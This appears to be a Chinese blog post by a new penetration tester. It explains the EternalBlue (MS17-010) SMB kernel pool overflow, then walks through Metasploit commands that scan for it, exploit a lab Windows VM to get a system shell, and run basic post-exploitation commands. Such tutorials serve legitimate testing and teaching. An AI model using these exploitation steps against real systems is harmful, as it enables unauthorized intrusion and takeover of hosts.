今天是入职的第一天,还是有点忐忑,新地点新事物,希望自己的选择没有错,努力!
废话不多说,入职后被安排的第一件事情,就是去某国企检测系统漏洞,分配给我的任务是对开启445端口的IP段进行扫描看是否存来MS17-010(永恒之蓝)漏洞。
首先利用VMware在Ubuntu环境下搭建msf(metasploit framework渗透框架)环境,由于电脑有VMware,具体的安装就不说了,Ubuntu安装教程本人参考的是这个教程:Ubuntu安装教程,msf教程是前辈给的一个教程:Metasploit Framework教程(Ubuntu和MSF的学习过程会在后续进行具体总结)。当一切准备好的,就开始对负责的IP段进行扫描。
EternalBlue由影子经纪人公布到互联网上后,被多款恶意软件利用,如WannaCryp0t、无文件的勒索软件UIWIX和SMB蠕虫EternalRock。EternalBlue在微软的MS17-010中被修复,是在Windows的SMB服务器处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任何代码。
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。然后会进行如下操作:
1.srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小。
2.因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大。
3.因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出。
那么EternalBlue是如何利用的呢?首先发送一个SRV buffer除了最后一个数据包。这是因为大非分页池将在会话中最后一个数据包被服务端接收的时候被建立。SMB服务器会把会话中接受到的数据读取并叠加起来放入输入缓冲区中。所有的数据会在TRANS包中被标明。当接收到所有的数据后SMB服务器将会处理这些数据。数据通过CIFS(Common Internet File System)会被分发到SrvOpen2函数中来读取。
EternalBlue发送的所有数据会被SMB服务器收到后,SMB服务器会发送SMB ECHO包。因为攻击可以在网速很慢的情况下实现,所以SMB ECHO是很重要的。
在我们的分析中,即使我们发送了初始数据,存在漏洞的缓冲区仍然没有被分配在内存中。
1.FreeHole_A: EternalBlue通过发送SMB v1数据包来完成占位
2.SMBv2_1n: 发送一组SMB v2数据包
3. FreeHole_B: 发送另一个占位数据包;必须确保第一个占位的FreeHole_A被释放之前,这块内存被分配
4. 4.FreeHole_A_CLOSE: 关闭连接,使得第一个占位的内存空间被释放。
5.SMBv2_2n: 发送一组SMB v2数据包。
6.FreeHole_B_CLOSE: 关闭连接来释放缓冲区。
7.FINAL_Vulnerable_Buffer: 发送最后的数据包,这个数据包将会被存储在有漏洞的缓冲区中。
有漏洞的缓冲区(之前SRVNET创建的)被填入的数据将会覆盖和部分SRVNET的缓冲区。在FEA list转换到NTFEA list时会发生错误,因为FEA结构会在覆盖SRVNET缓冲区之后失效,所以服务器将以STATUS_INVALID_PARAMETER(0xC000000D)返回。
漏洞分析具体见安全客:
http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/
第一:使用scanner下的扫描模块进行扫描检查是否存在漏洞
1.启用msf,启用之前需要启用postgres服务
>>>sanmu@sanmu-virtual-machine:~$ msfconsole
2.使用search查找ms17_010工具目录进行利用
>>>msf> search smb_ms17_010
3.调用scanner smb_ms17_010模块进行扫描,并用show options查看设置参数
>>>msf> use auxiliary/scanner/smb/smb_ms17_010
>>>msf auxiliary(scanner/smb/smb_ms17_010)> show options
4. 设置扫描地址(可建立靶机,如新建一个win7虚拟机,使两台虚拟机能互相ping同,然后在设置设置扫描段为WIN7虚拟机的IP)。
5. 设置好之后,可使用show options查看配置信息,之后可以使用run 或者 exploit进行测试(测试结果中显示绿色的+以及提示信息的,即为存在漏洞主机)
>>>msf auxiliary(scanner/smb/smb_ms17_010)> set RHOSTS 192.168.126.132
>>>msf auxiliary(scanner/smb/smb_ms17_010)> run
二、使用exploit模块进行漏洞攻击
1.调用exploit下的ms17_010_eternalblue模块
>>>msf auxiliary(scanner/smb/smb_ms17_010)> use exploit/windows/smb/ms17_010_eternalblue
>>>msf exploit(windows/smb/ms17_010_eternalblue)> show options
2. 设置目标靶机,并用run 或者 exploit命令调用漏洞测试,最终成功拿下目标shel
>>>msf exploit(windows/smb/ms17_010_eternalblue)> set RHOST 192.168.126.132
>>>msf exploit(windows/smb/ms17_010_eternalblue)> run
拿下shell后,可新建管理员用户,登录远程连接服务等操作,如:
1. 查看当前用户级别(权限比较:system > administartor > user)
>>>c:\Windows\system32>whoami
2. 删除、创建等命令
>>>c:\Windows\system32>cd..
>>>c:\>dir
>>>c:\>mkdir test
>>>c:\>dir
之后可以关注一下meterpreter模块渗透过程。